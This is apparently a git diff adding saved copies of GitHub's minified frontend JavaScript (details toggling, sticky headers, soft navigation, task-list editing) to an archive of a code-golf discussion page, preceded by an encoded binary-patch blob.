z5?$@Gta9r3sf+fjcHK(8rg;%5+yw)F_ihJgK*>`W&wV~bmY&`HcfvA)kfXJsQg12s zxt;RRhwuKZe=?i2CXFkHgv&hJZ0sd)`2u*3NfLg9$$2S<->7W8J^b2s9quH6q9~ue z^@%yT8UGm|1AaE}CgcFI;xP$1e(8#293bTh7^Uh{rcQ7&TOY@g3lGv`6;o`yVU!?O6Wu)-B|u z6CB=r#M@j-2~w^fM#H60BCmI0Y}(YSnQ!)7*bY?}yOh~%_Sfe=YRqoRt8u~;NECsh z1Hx|$!kRf6m5ErK$W$pAjsL7K(6h(SY=^45jqVdij{hINWo?=QB>G$N+*Uw+N*s1^jw?7ztT0~i^o)OZZlPF8XjUXt*k=i0}c^k5h zfAC3yjn-z%EN_+OvM-ID+Z9z8AA116XYc*$H{bs@d%iaW#f`vta+M$S4EV1{55iHZSG&j*6!s}Q0Ap#geM5oR}A_G+`&$sfoL463C8wKO_3S}K*g{hn)& zA3VKs_T`6PPE7VKsTl=rCJH33NCvLmvRT7n4Hp}(Vp9Wje$ZS&%@;C;PO}Ehl}g3_ zeE;ClL0wO-Qtqw69=;oO9OrkJes6)3&*lu8GeFO)Mz2xq$@dfrg?v7r%jHtl+4(nV zowvOR@GsJS`tWs|9(QOzeK(rYUZ?>3+q$TQy6W+Twf_(w_pgUi||77=7r2gQm7@ zSdJxCifrpHQ>H|UH;LNY>?vmUHcL?wWvOX~#FAWc=lte>&dfPGROjdC;fK`d{~MsU zT@DBlujM!Aw95ezLayaE=QQ;y7YBMcj$_%DZQC9)k1&^b4s&gEUE+Dn`=tDluIv93 zAVggFZgIbK?Nb!DSm1sCHPJt30dg z9hfu&V+2)7G@V4|1qbq@pa*`65K^19SKqGPnfzctLl?&oW9-@M=U=xUvnj$9=?fyB z!nhR1@dpesn_MHc`wYU9s?Jee_-Gry~|3Tuh{pd>Lbfrx2ZK z_36RFy8u=8D_zsZ$TkAlO-q?DqMrMNXDARrACZCw;lAFQXznyBmj+s_F6Yc#AdiS) zbeKmC6(j|E45v;;#7JaBuApLQbIOWkTbBT;9oE~q<2ZVPSC{x8;b1HVrr}WLja3V^ z3l3yF^QiUWtW}^7&{B0dKb#MQiJri+L?)11k1BG21@VXR_rbx(U0PdOTOJ6gbJVHQ zS|D#MkJGlvkk-dp31F`-lDhHRV2Q%+M&qP={Eh#uZQBOX{%R}*C0(n|{O?Kkp zsW44BEbYfQ`Vo_f-~+aosx3eTe#b*SHxv8OtTaV5J@;qBJ{-9ClmXT|A(9H9^5t;XzdD-&X5|=FXFs%@=zdD{!O~ zLdUE16Z=@7$%o!$$PI@1NLW(vVDxBhcfAkLP{wqLi=GG_*ITP?(+NF=64NjQ4~Q=6 zMvdYvtx-POe6rGbUcs&xXoWtupTG5rzB+D%kc^iM5=_{$KAe4cFz5SzFVJvt*y>oI z0eY~px#iDjr%^bKr~rr-of5Bv5^^ik96#P%TCF|ZcK5rjXBC*uC7Lyi$Igr#h8A zg*^)fCeg~8?(F1Da5^dS2_Xi}bXvz1wXT>tI!Lr2M`O5by9gSAvu+=v`kD`-q!NX2 z4hZ!_ep4XVBGDBB^Det-7)Gx`{DTGS^&MK~p+j_nu1MHGxcfZ>{cM^v7Qv`*3J@*$ znBCpH}`(6YdkcY&f46*Z^ruAU_ zzI=5GD3{CqW$F*kp_R-pAv=b*5(5$?>qAd*i6lV`DBrgxht1-dKmhRJ><6E9?)c1) zd*vc|5T}Uqq)M%vQVPMixB|H>aXQw6(!HKO`V?qieDeF^rj{Bp((>uSod+=TuHe5GA zCL1IWO=i+tv4v|xa_=F17346_@jf$u-q-GVx6*(9_{+>jOcX?Sk`#rH#4T)~T8fB- zDGZ{yCS8R9W=;QK>ei)!GMUU*vww8aA>jl-AKWzk|=%edF#~ zTUZxt$IRZC`IYxEb0cr5B8{BU;(Z2Q&3huJvSe$d4rQaxRxUe|wJ% zvT=UcX#8#c?_^r%E2Icj#+YY&XfZrty07Jkk*C>$md`5L9L)^-X1OqWqdaAr=4Cf! z2ijvSjf{L%{$geKWnRtYsF7E4#oSO~q);dn48!O#$*bEd>{var x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` +${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" 